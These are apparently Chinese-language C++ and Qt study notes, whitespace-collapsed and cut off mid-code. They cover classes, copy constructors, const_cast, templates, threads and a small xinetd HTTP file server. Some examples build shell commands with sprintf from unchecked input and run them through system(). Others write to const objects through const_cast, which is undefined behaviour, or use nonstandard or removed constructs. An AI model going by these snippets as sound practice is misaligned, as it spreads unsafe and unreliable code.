MainWindow::~MainWindow() { delete ui; } #include "mainwindow.h" #include <QApplication> #include<QDebug> class morewindows { public: MainWindow *p[5];//指针数组,每一个元素是指针 morewindows() { for(int i=0;i<5;i++) { p[i]=new MainWindow; p[i]->show(); p[i]->move(i*100,i*100); } } ~morewindows() { for(int i=0;i<5;i++) { delete p[i]; } } }; class morewindowss { public: MainWindow *p[5][4]; morewindowss() { for(int i=0;i<5;i++ ) { for(int j=0;j<4;j++) { p[i][j]=new MainWindow; p[i][j]->show(); p[i][j]->move(i*130,j*130); } } } ~morewindowss() { for(int i=0;i<5;i++ ) { for(int j=0;j<4;j++) { delete p[i][j]; } } } }; //int a[5] int *p=a; int *p= new int[5]; //int *a[5] int **p=a int **p=new (int *)[5]; //int *a[3][5] //int * (*p)[5] class morewindowsss { public: MainWindow **p;//二级指针 morewindowsss() { // p= (MainWindow **)malloc(sizeof(MainWindow *)*5); } void init(int num) { p= new MainWindow * [5];//new的时候类型不需要加上括号 for(int i=0;i<5;i++) { p[i]=new MainWindow; p[i]->show(); p[i]->move(num*100,i*100); } } void move(int x,int y) { for(int i=0;i<5;i++) { p[i]->move(x*100,y*100); } } morewindowsss & operator = (morewindowsss const & more)//自己写的深拷贝 { qDebug()<<"shen"; this->p = new MainWindow * [5]; for(int i=0;i<5;i++) { p[i]=new MainWindow; p[i]->show(); p[i]->move(500,i*100); } return *this; } ~morewindowsss() { for(int i=0;i<5;i++) { delete p[i]; } delete [] p; // free(p); } }; class morewindowssss { public: // MainWindow *p[5][4];//二维数组,每一个元素都是指针 MainWindow **pA;//二级指针 MainWindow *(*p)[4];//指向二维指针数组的指针 morewindowssss() { pA=new MainWindow *[20];//一维数组 p=(MainWindow *(*)[4]) pA; for(int i=0;i<5;i++ ) { for(int j=0;j<4;j++) { p[i][j]=new MainWindow; p[i][j]->show(); p[i][j]->move(i*130,j*130); } } } ~morewindowssss() { for(int i=0;i<5;i++ ) { for(int j=0;j<4;j++) { delete p[i][j]; } } delete [] pA; } }; int main(int argc, char *argv[]) { QApplication a(argc, argv); morewindowsss more1; more1.init(1); // more1.move(1,2); morewindowsss more2;//拷贝构造 more2=more1;//赋值 // morewindowsss more2(more1); more2.move(3,4); return a.exec(); } 重载下标 #include "mainwindow.h" #include <QApplication> class morewindow { public: MainWindow *p[5]; morewindow() { for(int i=0;i<5;i++) { p[i]=new MainWindow; p[i]->show(); p[i]->move(i*100,i*100); } } ~morewindow() { for(int i=0;i<5;i++) { delete p[i]; } } MainWindow * operator [](int i) { return p[i]; } }; int main(int argc, char *argv[]) { QApplication a(argc, argv); morewindow more1; more1[3]->hide();//重载下标 return a.exec(); }
类的成员函数与const-mutable 成员函数 Fushu.h #pragma once #include <iostream> class fushu { public: int x; int y; public: fushu(); ~fushu(); void show(); inline void showall(int x, int y);//显式内联 void setxy(int x, int y);//编译器优化,默认隐式内联 void show(int x, int y); /* inline void showall(int x,int y) { //复合代码 std::cout << (this->x = x) << (this->y = y) << std::endl; } */ }; //内联函数原则上放在头文件,去掉inline标识符 //内联函数需要展开,(VS2013是要求放在头文件的) void fushu::showall(int x, int y) { std::cout << (this->x = x) << (this->y = y) << std::endl; } Fushu.cpp #include "fushu.h" //::前面必须是类或者命名空间 fushu::fushu() { std::cout << "对象被创建" << std::endl; } fushu::~fushu() { std::cout << "对象被销毁" << std::endl; } //类调用成员函数,需要明确那个类的对象调用 void fushu::show() { std::cout << "show" << std::endl; } void fushu::setxy(int x, int y)//编译器优化,默认隐式内联 { this->x = x; this->y = y; std::cout << (this->x) << (this->y) << std::endl; } void fushu::show(int x, int y) { std::cout << (this->x) << (this->y) << std::endl; } 成员函数.cpp #include <iostream> #include "fushu.h" void stackrun() { fushu fushu1;//对象在栈上 fushu1.show(); } void heaprun() { fushu *pfushu = new fushu;//对象在堆上 pfushu->show(); pfushu->showall(10, 9); pfushu->setxy(19, 29); pfushu->show(1, 2); //内部成员函数重载,函数指针,明确了参数, delete pfushu; } void main() { heaprun(); std::cin.get(); } Const-mutable Constmutalbe.h #pragma once #include <iostream> class constmutable { public: int a; int b; int c; const int d=0;//常量是必须存在初始化 mutable int e;//限定了不被const所限制 public: void setabc(int a, int b, int c) { this->a = a; this->b = b; this->c = c; } void showabc() const { //函数const,可以限定不对成员变量赋值,this->a = 10; //this->c = 90; std::cout << this->a << this->b << this->c << std::endl; } constmutable(); ~constmutable(); }; Constmutable.cpp #include "constmutable.h" constmutable::constmutable() { } constmutable::~constmutable() { } 构造与析构 构造函数与赋值的区别 #include<iostream> //所有的类默认都有一个构造函数,析构函数 //构造函数,重载, //没有返回值, class myclass { public: int num; public: myclass()// :num(4)初始化第一种方式 { //num = 10;第二种方式 std::cout << "class create"; } myclass(int data) //构造函数可以重载 { std::cout << "class create by data"; num = data; } ~myclass() { std::cout << "class delete"; } }; void run() { //myclass myclass1(10); //myclass myclass1 = 101; //myclass *p = new myclass(102); myclass *p (new myclass(102)); //p(new myclass(105)); std::cout << (*p).num << std::endl; //std::cout << myclass1.num << std::endl; } void main1() { run(); int num = 4; num = 4; int data(4); //data(5); std::cin.get(); } 构造与析构的顺序 #include<iostream> //系统自动给你生成了构造函数与析构函数 //被包含的,最先分配,最后释放 //包含别人的,最后分配,最先释放 class fushu { public: fushu(); ~fushu(); }; fushu::fushu() { std::cout << "fushu构建" << std::endl; } fushu::~fushu() { std::cout << "fushu销毁" << std::endl; } class math { public: fushu fushu1; math() { std::cout << "math构建" << std::endl; } ~math() { std::cout << "math销毁" << std::endl; } }; void go() { math math1; } void main2() { //fushu fushu1; go(); std::cin.get(); } Explicit #include <iostream> #include <array> class classobj { public: int num; public: explicit classobj(int data) { this->num = data; std::cout << "被构造" << num << std::endl; } //classobj() //{ // std::cout << "被构造yuan" << num << std::endl; //} ~classobj() { std::cout << "被销毁" << num << std::endl; } protected: private: }; void main() { //C 语言风格的数组,构造一个数组,销毁一个数组 classobj obj(0);//单独独有构造函数 classobj objx[3] = { classobj(0), classobj(1), classobj(2) };//C语言风格数组构造方式 classobj(*ppobjA)[3] = &objx; //指向数组的指针 classobj *pobj ( new classobj(0)) ; classobj * ppobj[3];//数组,每一个元素都是指针 ppobj[0] = new classobj(0); ppobj[1] = new classobj(1); ppobj[2] = new classobj(2); //classobj *p= new classobj[10]; /// delete[]p; std::cin.get(); } void main11111() { // classobj num = 5;//赋值号,类型转换 //classobj data(5); // classobj obj; classobj obj(0);//创建对象必须合适的构造函数 //classobj *p= new classobj; //C++ 风格数组的作用 classobj * p = new classobj(5); std::array <classobj, 2 > myarray = { obj, *p }; std::cin.get(); } 拷贝构造deletedefault以及深浅拷贝 拷贝构造 #include<iostream> //如果声明已经定义,便不会生成 class classA { private: int a; int b; public: //拷贝构造的规则 classA(int x, int y)//:a(x), b(y) { //a = x; //b = y; } void print() { std::cout <<a << b << std::endl; } }; void main12313() { classA class1(10,100);//编译器会默认生成默认的构造函数 classA class2(class1);//编译器会生成默认的拷贝构造函数 class1.print(); class2.print();//默认的拷贝构造函数 //classA class3(4); std::cin.get(); } Delete-default //delete可以禁用默认生成的函数,禁用构造可以无法实例化 //禁用拷贝构造,可以实现禁止别人拷贝你 //default默认存在 class myclassA { public: //myclassA() = delete;//默认删除构造函数,无法实例化 //myclassA() = default;//默认存在 //myclassA(const myclassA &) = delete;//拷贝构造函数 //myclassA(const myclassA &) = default; //=//缺省的赋值函数 ~myclassA(); }; void main211() { //myclassA myclassa1; //myclassA myclassa2(myclassa1); //myclassA myclassa3 = myclassa1;//重载了=,根据类型进行判断 // myclassA a1; } 深拷贝浅拷贝 #define _CRT_SECURE_NO_WARNINGS #include <iostream> #include<string> class string { public: char *p; int length; string(int num,char *str) { //获取长度,分配内存,拷贝内容 length = num; p = new char [length]; memset(p, 0, length);// strcpy(p, str); } string(const string & string1) { //qian //this->p = string1.p; // this->length = string1.length; //shen this->p = new char[string1.length]; this->length = string1.length; memset(this->p, 0, this->length);// strcpy(this->p, string1.p); } ~string() { delete[] p;// } }; void main() { string *pstr1 = new string(10, "hello"); std::cout <<pstr1->p<< std::endl; string *pstr2 = new string(*pstr1); delete pstr1; std::cout << pstr2->p << std::endl; std::cin.get(); } void main1() { string str1(10, "hello"); std::cout << str1.p << std::endl; string str2(str1); std::cout << str2.p << std::endl; std::cin.get(); } 静态成员函数成员变量类在内存的存储默认参数 Class与内存 #include<iostream> class myclass { public: int num; int data; int *p; const int coint; int & myint; static int shu;//声明 static const int dashu; public: static void go() { } void run() { } //常量,引用,必须重载构造函数初始化, myclass(int a, int b) :myint(a), coint(b) { //引用就是共用地址,常量新开辟备份机制 std::cout << &a << " " << &b << std::endl; std::cout << &myint << " " << &coint << std::endl; const int *p = &coint;//地址 std::cout << *p << " " << coint << std::endl; int *px = const_cast<int *>(p);//去掉const转换 *px = 12; std::cout << coint << " " << *px << std::endl; } ~myclass() { } }; int myclass::shu = 0;//初始化 const int myclass::dashu = 20;//常量 void main()//尝试去掉const属性 { const int *px = &(myclass::dashu); std::cout << px << std::endl; int *p = const_cast<int *> (px); *p = 123;//静态常量区可以访问,不可以修改, std::cout << *px << " " << *p << " " << myclass::dashu; std::cin.get(); } class mywindowW { public: int #//引用,必须在构造的初始化, //引用今天可以引用这个人,明天引用那个人 public: mywindowW(int data) :num(data) { } }; int mainrr() { int data = 20;//引用必须初始化,反复赋值,类中的引用必须在构造函数初始化 mywindowW my1(data); std::cout << my1.num; //加上endl关闭输出,当作地址,否则当作变量 int dataA = 201; my1.num = dataA; std::cout << my1.num;//加上endl关闭输出,当作地址,否则当作变量 std::cin.get(); return 0; } int mainr() { int data2 = 11; int data1 = 22;//引用必须初始化,反复赋值, int & da = data1; std::cout << da<< std::endl; da = data2; std::cout << da<<std::endl; std::cin.get(); return 0; } class mywindowWW { public: const int num; public: mywindowWW(int data) :num(data) { } }; void mainconst() { int int1 = 20; mywindowWW mywindowWW1(int1);//初始化,常量必须构造的时候初始化 //类的外部一旦初始化以后,不会读内存,从代码区的符号表自动生成, std::cout << mywindowWW1.num << std::endl; //mywindowWW1.num = 19;//mywindowWW1”: 不能给常量赋值 std::cin.get(); } void main2312312() { //类中的普通成员变量 //类名 变量名 //栈上 //类名 *指针名 =new 类名 //堆上 //类的静态成员 静态区 //成员函数,静态函数都在代码区,类的函数都是共享 //myclass myclass1(10, 9); //int a(5); //void(myclass::*p1)() = &myclass::run; //代码共享,所有的类对象共享对象, //void(*p2)() = &myclass::go;//静态函数,与对象没有关系 //引用本质就是变量的别名,4个字节,本质是一个指针 myclass myclass1(10, 9); //static const int dashu; 静态区,修改 // //int a; //int &ra; std::cin.get(); } 默认参数 #include<iostream> class goodclass { public: int num=1;//默认初始化的值,C++11特定 const int data=90;//const,少写构造函数 public: static void show(goodclass good1) { std::cout << good1.num << " " << good1.data<<std::endl; } }; //类中的const默认还是可以修改,与C语言const一致 void main() { goodclass good1; goodclass::show(good1); const int *px = &(good1.data); std::cout << px << std::endl; int *p = const_cast<int *> (px); *p = 123; std::cout << *px << " " << *p << " " << good1.data<<std::endl; goodclass::show(good1); std::cin.get(); } 友元类以及友元函数 1、为什么要引入友元函数??? 在实现类之间数据共享时,减少系统开销,提高效率。具体来说:为了使其他类的成员函数直接访问该类的私有变量。 即:允许外面的类或函数去访问类的私有变量和保护变量,从而使两个类共享同一函数。 优点:能够提高效率,表达简单、清晰 缺点:友元函数破环了封装机制,尽量不使用成员函数,除非不得已的情况下才使用友元函数。 2、什么时候使用友元函数?? 1)运算符重载的某些场合需要使用友元。 2)两个类要共享数据的时候
递归汉诺塔 双层递归 #include <iostream> void han(int n, char A, char B, char C) { static int num = 1; std::cout << "第" << num << "次"; num++; if (n<1) { return; } else { han(n - 1, A, C, B); std::cout << A << "->" << C << std::endl; han(n - 1, B, A, C); } } // f(n)=2*f(n-1)+1 //f(n)=2^n-1 //2^64- 1 void main() { int n; std::cin >> n; std::cout << "n=" << n << std::endl; han(n, 'A', 'B', 'C'); std::cin.get(); std::cin.get(); } CPP结构体 #include<iostream> struct lstruct { int num; }; struct MyStruct { int num; double db=10.8;//默认的值 //MyStruct sx;//拒绝内部定义自己 MyStruct *pnext; MyStruct *phead; lstruct l1; void boss() { } }; struct MyStructA { int num; double db = 10.8;//默认的值 //MyStruct sx;//拒绝内部定义自己 MyStruct *pnext; MyStruct *phead; lstruct l1; void boss() { } }; struct { int num; double db ;//默认的值 MyStruct boss1; }sx,sy;//匿名结构体不允许初始化 void main() { MyStruct s1;//自动管理 MyStruct *pnew = new MyStruct;//手动 s1.l1.num; //pnew->l1.num; (*pnew).l1.num; //类型相同可以整体赋值 //结构体C++风格初始化方式 MyStruct s2(s1); MyStruct *pnew2(new MyStruct); MyStructA sa1; //MyStruct s3(sa1);C++强类型,必须类型匹配 } void main1() { MyStruct s1; std::cout << s1.db << std::endl; sx.boss1.num;//结构体嵌套就是... std::cin.get(); } 面向过程与面向对象的编程模式 C管理进程 #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include<string.h> #include<windows.h> //面向过程的模式 //代码重用主要靠函数 //权限, void open(const char *path,const int mode) { ShellExecuteA(0, "open", path, 0, 0, mode); } void all() { system("tasklist"); } void closebyname(const char *name) { char cmdstr[100] = { 0 }; sprintf(cmdstr, "taskkill /f /im %s", name); system(cmdstr); } void closebypid(const int num) { char cmdstr[100] = { 0 }; sprintf(cmdstr, "taskkill /pid %d", num); system(cmdstr); } void main1() { all(); open("notepad", 1); all(); Sleep(2000); int num; scanf("%d", &num); closebypid(num); //closebyname("notepad.exe"); system("pause"); } //复数a+bi struct fu { int a; int b; }; //a+ bi, struct fu add(struct fu fu1, struct fu fu2) { struct fu fu3; fu3.a = fu1.a + fu2.a; fu3.b = fu1.b + fu2.b; return fu3; } void main3() { //数据可以随便被别人,可以随便被修改 struct fu fu1 = { 3, 4 }; struct fu fu2 = { 13, 4 }; fu1.a += 3; struct fu fu3 = add(fu1, fu2); printf("%d+%di", fu3.a, fu3.b); getchar(); } 面向对象管理进程 #define _CRT_SECURE_NO_WARNINGS #include<iostream> #include<string> #include <windows.h> //C++类的继承实现代码重用, C重用 函数 //类的封装实现权限,封装,数据与代码合为一体。C封装主要是函数 //封装可以锁定代码的权限,锁定的数据的权限,避免被随意修改 //类的多态,一个接口根据实际需求完成很多不同的功能 class cmduse { private: char cmduser[100];//用户名 char cmd[100];//存储指令 public: void setuser(const char * name) { strcpy(cmduser, name); } char * getuser() { return this->cmduser;//返回用户名 } void open(const char *path, const int mode) { ShellExecuteA(0, "open", path, 0, 0, mode); } void all() { system("tasklist"); } void closebyname(const char *name) { memset(this->cmd, 0, 100);//清空字符串 sprintf(this->cmd, "taskkill /f /im %s", name); system(this->cmd); } void closebypid(const int num) { memset(this->cmd, 0, 100);//清空字符串 sprintf(this->cmd, "taskkill /pid %d", num); system(this->cmd); } }; void main2() { cmduse cmduse1; cmduse1.setuser("yincheng"); std::cout << cmduse1.getuser() << std::endl; cmduse1.open("calc",1); cmduse1.open("notepad",0); Sleep(2000); cmduse1.all(); cmduse1.closebyname("calc"); int pid; std::cin >> pid; cmduse1.closebypid(pid);//根据编号关闭 std::cin.get(); std::cin.get(); //closebypid(100); } //封装可以实现代码权限,不可以随便调用 class { public: void seta(int a) { //接口 this->a = a; } int geta() { return this->a; } void setb(int b) { //接口 this->b = b; } int getb() { return this->b; } protected: private: int a; int b; char password[100]; }myab; void main() { // myab.geta = 3; myab.seta(10); //封装解决的问题 //类的,代码与数据,一体化 //代码的封装,限定代码谁可以执行谁不可以执行的权限 //数据的封装,防止数据被意外修改 } 类的常识共用体实现一个类的特征 #include<iostream> //union 本质也是一个类,可以内部有函数, //union,内部数据是共享,不同对象之间是独立的,代码是共享 //union,也具备结构体所有功能 //某些节约内存的类需要用到共用体 union MyUnion { int num; double db; void go() { } }; //内部数据是共享内存,不可以继承 union MyUnionA { int num; double db; void go() { } }; void main() { std::cout << sizeof(MyUnion) << std::endl; MyUnion union1; // union1.db = 10; union1.num = 20; std::cout << union1.num << std::endl; union1.db = 10.9;//时时刻刻共用体仅有一个变量存在 std::cout << union1.num << std::endl; std::cin.get(); } QT应用于类以及类的常识 空类 #include<iostream> //空类占一个字节,表明类存在 //空类有int,占4个, // class kong { public: //int num; void go(int num) { std::cout << "锄禾日当午"; } }; void main() { std::cout << sizeof(kong) << std::endl; // std::cout << &kong << std::endl; kong kong1; //kong1.num = 10; std::cout << &kong1 << std::endl; std::cin.get(); } Qtobj #include "dialog.h" #include <QApplication> class bigsmall { Dialog *p; public: void setp(Dialog *p) { this->p=p; } void set(int x,int y) { this->p->resize(x,y);//设置大小 } void big() { for(int i=0;i<600;i++) { this->p->resize(i,i); } } void small() { for(int i=600;i>=0;i--) { this->p->resize(i,i); } } }; int main(int argc, char *argv[]) { QApplication a(argc, argv); // Dialog mydialog1,mydialog2; // mydialog1.show(); // mydialog2.show(); Dialog *pd1,*pd2; pd1=new Dialog; pd2=new Dialog; // pd1->show(); // pd2->show(); pd1->resize(800,600); pd2->resize(600,800); (*pd1).show(); (*pd2).show(); bigsmall bigsmall1; bigsmall1.setp(pd1); bigsmall1.big(); bigsmall1.small(); bigsmall bigsmall2; bigsmall2.setp(pd2); bigsmall2.big(); bigsmall2.small(); //delete pd1; // delete pd2; return a.exec(); }
引用包装器 std::ref(变量) #include<iostream> template<class T> void com(T arg)//模板函数,引用无效,引用包装器 { std::cout <<"com ="<< &arg << "\n"; arg++; } void main() { int count = 10; int & rcount = count; com(count); std::cout << count << std::endl; //std::ref(变量) ,函数模板,引用包装器 //com(std::ref(count)); com(rcount); std::cout << "main=" << &rcount << "\n"; std::cout << count << std::endl; std::cin.get(); } 仿函数 引用内部函数绑定机制 #include<iostream> #include<functional>//处理函数 using namespace std; using namespace std::placeholders; //仿函数,创建一个函数指针,引用一个结构体内部或者一个类内部的公有函数 struct MyStruct { void add(int a) { cout << a << endl; } void add2(int a,int b) { cout << a +b<< endl; } void add3(int a, int b,int c) { cout << a + b +c<< endl; } }; void main() { MyStruct struct1; //创建函数指针,类结构体,数据私有,代码共享 //函数通过调用,调用需要传递对象名进行区分 void(MyStruct::*p)(int ) = &MyStruct::add; cin.get(); } int main1() { MyStruct struct1; //auto自动变量,地址,函数指针,bind绑定 //第一个参数引用内部函数,绑定一个实体对象, auto func = bind(&MyStruct::add, &struct1, _1);//一个参数 auto func2 = bind(&MyStruct::add2, &struct1,_1, _2);//二个参数 auto func3 = bind(&MyStruct::add3, &struct1, _1, _2,_3);//三个参数 func(100); func2(10, 20); func2(10, 20, 30);//只会接收前2个参数 func3(10, 20,30); cin.get(); return 0; } 转义字符 R”()” #include <iostream> #include<string> #include<stdlib.h> void main() { std::string path =R"( "C:\Program Files\Tencent\QQ\QQProtect\Bin\QQProtect.exe")"; //R"()" 括号之间去掉转义字符 system(path.c_str()); system("pause"); } using别名 #include <iostream> namespace space //隔离模板,避免冲突 { template<class T> using ptr = T*;//模板的简写 } int add(int a, int b) { return a + b; } typedef int(*ADD)(int a, int b); using FUNC = int (*)(int a, int b);//别名 using co = std::ios_base::fmtflags;//using只可以用于简写数据类型 void main() { ADD p=add; std::cout<<p(1, 2)<<std::endl; FUNC func = add; std::cout << func(1, 2) << std::endl; //space::ptr<int> pint(new int(15)); //std::cout << *pint << " " << pint << std::endl; std::cin.get(); } 模板元编程 比递归优化 #include<iostream> //模板元把运行时消耗的时间,在编译期间优化 template<int N> struct data { enum {res =data<N-1>::res+data<N-2>::res}; }; template<> struct data<1> { enum {res =1}; }; template<> struct data<2> { enum {res= 1 }; }; //递归 斐波那契数列 //1 1 2 3 5 8 int getdata(int n) { if (n==1 || n==2) { return 1; } else { return getdata(n - 1) + getdata(n - 2); } } void main() { const int myint = 40; int num = data<myint>::res;//<>内部不可以有变量 std::cout << num << std::endl; std::cout << getdata(40) << std::endl; std::cin.get(); } //主要思想 // //利用模板特化机制实现编译期条件选择结构,利用递归模板实现编译期循环结构,模板元程序则由编译器在编译期解释执行。 // //优劣及适用情况 // //通过将计算从运行期转移至编译期,在结果程序启动之前做尽可能多的工作,最终获得速度更快的程序。也就是说模板元编程的优势在于: // //1.以编译耗时为代价换来卓越的运行期性能(一般用于为性能要求严格的数值计算换取更高的性能)。通常来说,一个有意义的程序的运行次数(或服役时间)总是远远超过编译次数(或编译时间)。 // //2.提供编译期类型计算,通常这才是模板元编程大放异彩的地方。 // //模板元编程技术并非都是优点: // //1.代码可读性差,以类模板的方式描述算法也许有点抽象。 // //2.调试困难,元程序执行于编译期,没有用于单步跟踪元程序执行的调试器(用于设置断点、察看数据等)。程序员可做的只能是等待编译过程失败,然后人工破译编译器倾泻到屏幕上的错误信息。 // //3.编译时间长,通常带有模板元程序的程序生成的代码尺寸要比普通程序的大, // //4.可移植性较差,对于模板元编程使用的高级模板特性,不同的编译器的支持度不同。 智能指针 #include <iostream> void main1() { //auto_ptr; for (int i = 0; i < 10000000; i++) { double *p = new double;//为指针分配内存 std::auto_ptr<double> autop(p); //创建智能指针管理指针p指向内存 //智能指针 //delete p; } std::cin.get(); } C++11智能指针 #include<iostream> #include<memory>//内存 void main() { for (int i = 0; i < 10000000;i++) { //新型指针,新型的数组 std::unique_ptr<double> pdb(new double); //double *p = new double; } std::cin.get(); } 多线程 #include <thread> #include<iostream> #include<windows.h> #include<vector> using namespace std; using namespace std::this_thread; void msg() { MessageBoxA(0, "12345", "678910", 0); } void msgA(int num) { std::cout << get_id() << " num= " << num << std::endl; } void main1() { // thread::hardware_concurrency线程 auto n = thread::hardware_concurrency(); std::cout << n << std::endl; //获取当前线程编号 std::cout << "thread=" << get_id() << std::endl; thread thread1(msg);//创建多线程 thread thread2(msg); thread1.join();//开始执行 thread2.join(); std::cin.get(); } void main2() { vector<thread *> threads; for (int i = 0; i < 10; i++) { threads.push_back(new thread(msg));//创建线程 } for (auto th : threads) { th->join(); } std::cin.get(); } void main() { vector<thread *> threads; for (int i = 0; i < 10; i++) { threads.push_back(new thread(msgA,i));//创建线程 } for (auto th : threads) { th->join(); } std::cin.get(); } 静态断言以及调试技能的要求 assert #include <stdio.h> #include<assert.h> #include<iostream> using namespace std; #define N 10 void main() { int num = 100; cout << num << endl; cout << __FILE__ << endl; cout << __LINE__ << endl; cout << __DATE__ << endl; cout << __TIME__ << endl; cout << __FUNCTION__ << endl; cin.get(); } #define M void main1() { char num = 10; static_assert(sizeof(num) >= 1,"num valiued"); assert(num >= 4,"num>4"); //字节>4 #ifdef M // static_assert(sizeof(num) >= 4, "yincheng error"); #endif //调试代码,迅速代码错误在哪一行 }
Xinetd 从守护进程的概念可以看出,对于系统所要通过的每一种服务,都必须运行一个监听某个端口连接所发生的守护进程, 这通常意味着资源浪费。 为了解决这个问题,Linux引进了"网络守护进程服务程序"的概念。xinted(extended InterNET daemon) xinetd同时监听多个指定的端口,接受用户请求时,根据请求端口,启动不同的网络服务进程来处理这些用户请求。 可以把xinetd看做一个管理启动服务的管理服务器,它决定把一个客户请求交给哪个程序处理,然后启动相应的守护进程。 xinetd无时不在运行并监听它所管理的所有端口上的服务。 当某个要连接它管理的某项服务的请求到达时,xinetd就会为该服务启动合适的服务器。 安装及配置xinetd 1. sudo apt-get install xinetd (sudo aptitude show/install xinetd) 2. sudo vi /etc/xinetd.d/myhttpd (注意三个统一) service myhttpd { socket_type = streamprotocol = tcpwait = no user = nobodyserver = /home/wuyingqiang/HttpTest/myhttpd server_args = /home/wuyingqiang/HttpTest/dirdisable = noflags = IPv4 } socket_type: 网络套接字类型,流或者数据包. protocol: IP协议,通常时TCP或者UDP wait: 取值yes/no user: 运行进程的用户ID server: 执行的完整路径 server_args: 传递给server的值 disable: 用于在默认的{}中禁止服务 flags: 所使用的互联网协议 3. sudo vi /etc/services 向其中加入端口号,如:2222 4. 重启xinetd服务器 sudo service xinetd restart 守护进程xinetd启动服务器xhttpd示意图 URL编码扩展问题: 可以查看中文的unicode编码。 #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <ctype.h> #include <stdio.h> #include <time.h> #define SERVER_NAME "xhttpd" #define PROTOCOL "HTTP/1.1" #define SERVER_URL "http://www.itcast.cn/" #define FORMAT_DATE "%a, %d %b %Y %H:%M:%S GMT" #define N 4096 #ifdef DEBUG #define log(info, str)\ do{ fprintf(fp_tmp, "%s%s", info, str); fflush(fp_tmp); }while(0) /* put them in the right place. //fp_tmp = fopen(/home/akaedu/dir/log.text, "a"); //log("argv[1]", argv[1]); //log("line:", line); */ #endif //设置http协议头部分 static void send_headers(int status, char *title, char *extra_header, char *mime_type, off_t length, time_t mod); //返回出错页面 static void send_error(int status, char *title, char *extra_header, char *text); //用于文件名编码,对应strdecode static void strencode(char *to, size_t tosize, const char *from); //输出文件相关属性详细信息 static void file_infos(char *dir, char *name); //URL解码 static void strdecode(char *to, char *from); //通过文件名推断文件的mime_type static char *get_mime_type(char *name); //十六进制转换为十进制数 static int hexit(char c); int main(int argc, char **argv) { char line[N*2], method[N*2], path[N*2], protocol[N*2], idx[N*4], location[N*4]; char *file; size_t len; int ich, i, n; struct stat sb; FILE *fp; struct dirent **dl; if (argc != 2) //xinetd中的server_args send_error(500, "Internal Error", NULL, "Config error - no dir specified."); //xinetd启动时把根路径(xhttpd服务器文档的根目录)传给本程序,这步非常非常重要 if (chdir(argv[1]) < 0) //更改工作目录 send_error(500, "Internal Error", NULL, "Config error - couldn't chdir."); //http协议第一行 如:GET /hello.c HTTP/1.1 if (fgets(line, sizeof(line), stdin) == NULL) //提取请求行,包含请求方法/路径/协议 send_error(400, "Bad Request", NULL, "No request found."); /* "%[^ ] %[^ ] %[^ ]" 将一行字符串按空格切割为三个子串 应用举例: GET方法:在浏览器的地址栏中输入网址访问网页时,浏览器采用GET方法向服务器获取资源, eg:GET /form.html HTTP/1.1 method = GET path = /form.html protocol = HTTP/1.1 返回值:成功返回实际读到的字段个数,失败返回-1 */ if (sscanf(line, "%[^ ] %[^ ] %[^ ]", method, path, protocol) != 3) //提取方法/路径/协议 send_error(400, "Bad Request", NULL, "Can't parse request."); //读到请求头结束 while (fgets(line, sizeof(line), stdin) != NULL) { //注意stdin被dup2至xinetd管道的读端 if (strcmp(line, "\n") == 0 || strcmp(line, "\r\n") == 0) break; } //只支持GET请求,strcasecmp,忽略大小写 if (strcasecmp(method, "GET") != 0) send_error(501, "Not Implemented", NULL, "That method is not implemented."); //path必须从‘/’开始。 if (path[0] != '/') send_error(400, "Bad Request", NULL, "Bad filename."); file = &(path[1]); //file = path+1 //解码路径名,搞掉%20之类的东西 strdecode(file, file); if (file[0] == '\0') file = "./"; //检测是否为合法的文件格式,防止越界访问到根目录上级目录 len = strlen(file); if (file[0] == '/' || strcmp(file, "..") == 0 || strncmp(file, "../", 3) == 0 || strstr(file, "/../") != NULL || strcmp(&(file[len-3]), "/..") == 0) { send_error(400, "Bad Request", (char*)0, "Illegal filename."); } //测试有无请求之文件(或目录),stat为获取指定目录位置文件file函数,sb为传出参数。 if (stat(file, &sb) < 0) send_error(404, "Not Found", (char*)0, "File not found."); /* *404页面 当用户输入了错误的链接时,返回的页面,用户无法解决该错误 *标准化可配置HTTP协议错误,定位在400到505之间 * *1、无法在所请求的端口上访问Web站点 *2、Web服务扩展锁定策略阻止本请求 *3、MIME映射测略阻止本请求 * */ //请求路径是目录吗 if (S_ISDIR(sb.st_mode)) { //路径名对应目录 if (file[len-1] != '/') { //路径名要以"/"结尾 snprintf(location, sizeof(location), "Location: %s/", path); send_error(302, "Found", location, "Directories must end with a slash."); } //有index.html则处理之 snprintf(idx, sizeof(idx), "%sindex.html", file); if (stat(idx, &sb) >= 0) { file = idx; goto do_file; //如果有index.html则跳到do_file: } //显示请求目录下的文件列表 send_headers(200, "Ok", NULL, "text/html", -1, sb.st_mtime); printf("<html><head><title>Index of %s</title></head>" "\n<body bgcolor=\"#99cc99\"><h4>Index of %s</h4>\n<pre>\n" , file, file); /* * int scandir(const char *dirp, * struct dirent ***namelist, * int (*filter)(const struct dirent *), * int (*compar)(const struct dirent **, const struct dirent **) * ); * 依据匹配项目,扫描一个目录 * 扫描dirp目录下(不包括子目录)满足filter过滤模式的文件, * 返回的结果是compare函数经过排序的,并保存在namelist中。 * * scandir() 函数扫描目录 dirp,对每一个目录项(文件名)调用filter()。 * 把每一个filter() 返回非零项目保存在一个通过malloc(3) 分配的缓存区里, * 再通过比较函数是compar() 的qsort(3) 函数排序,最后收集在namelist 的数组里, * 这个数组也是通过malloc(3) 分配的。如果filter 是 NULL,所有项目都被选择 * * alphasort和versionsort是使用到的两种排序的函数 * * scandir() 函数返回被选择的目录条数,或者如果出错返回 -1。 */ n = scandir(file, &dl, NULL, alphasort); //读取目录下各个目录项,并返回每个文件信息. if (n < 0) perror("scandir"); else for (i = 0; i < n; ++i) file_infos(file, dl[i]->d_name); printf("</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n" , SERVER_URL, SERVER_NAME); } else { //所请求非目录而是一个文件 do_file: //获取文件内容并返回给客户端 fp = fopen(file, "r"); //只读方式将文件打开 if (fp == (FILE*)0) send_error(403, "Forbidden", (char*)0, "File is protected."); //发送http协议头,200表示成功, OK是随便写的 send_headers(200, "Ok", (char*)0, get_mime_type(file), sb.st_size, sb.st_mtime); while ((ich = getc(fp)) != EOF) putchar(ich); } fflush(stdout); exit(0); } //输出文件相关的详细属性信息,包括日期和时间 static void file_infos(char *dir, char *name) { static char encoded_name[N]; static char path[N]; char timestr[16]; struct stat sb; strencode(encoded_name, sizeof(encoded_name), name); snprintf(path, sizeof(path), "%s/%s", dir, name); if (lstat(path, &sb) < 0) //设置显示格式,"-"表示左对齐,不加"-"即为右对齐;-32表示显示内容占32列不足用空格补齐;32s表输出字符串的32个字符. 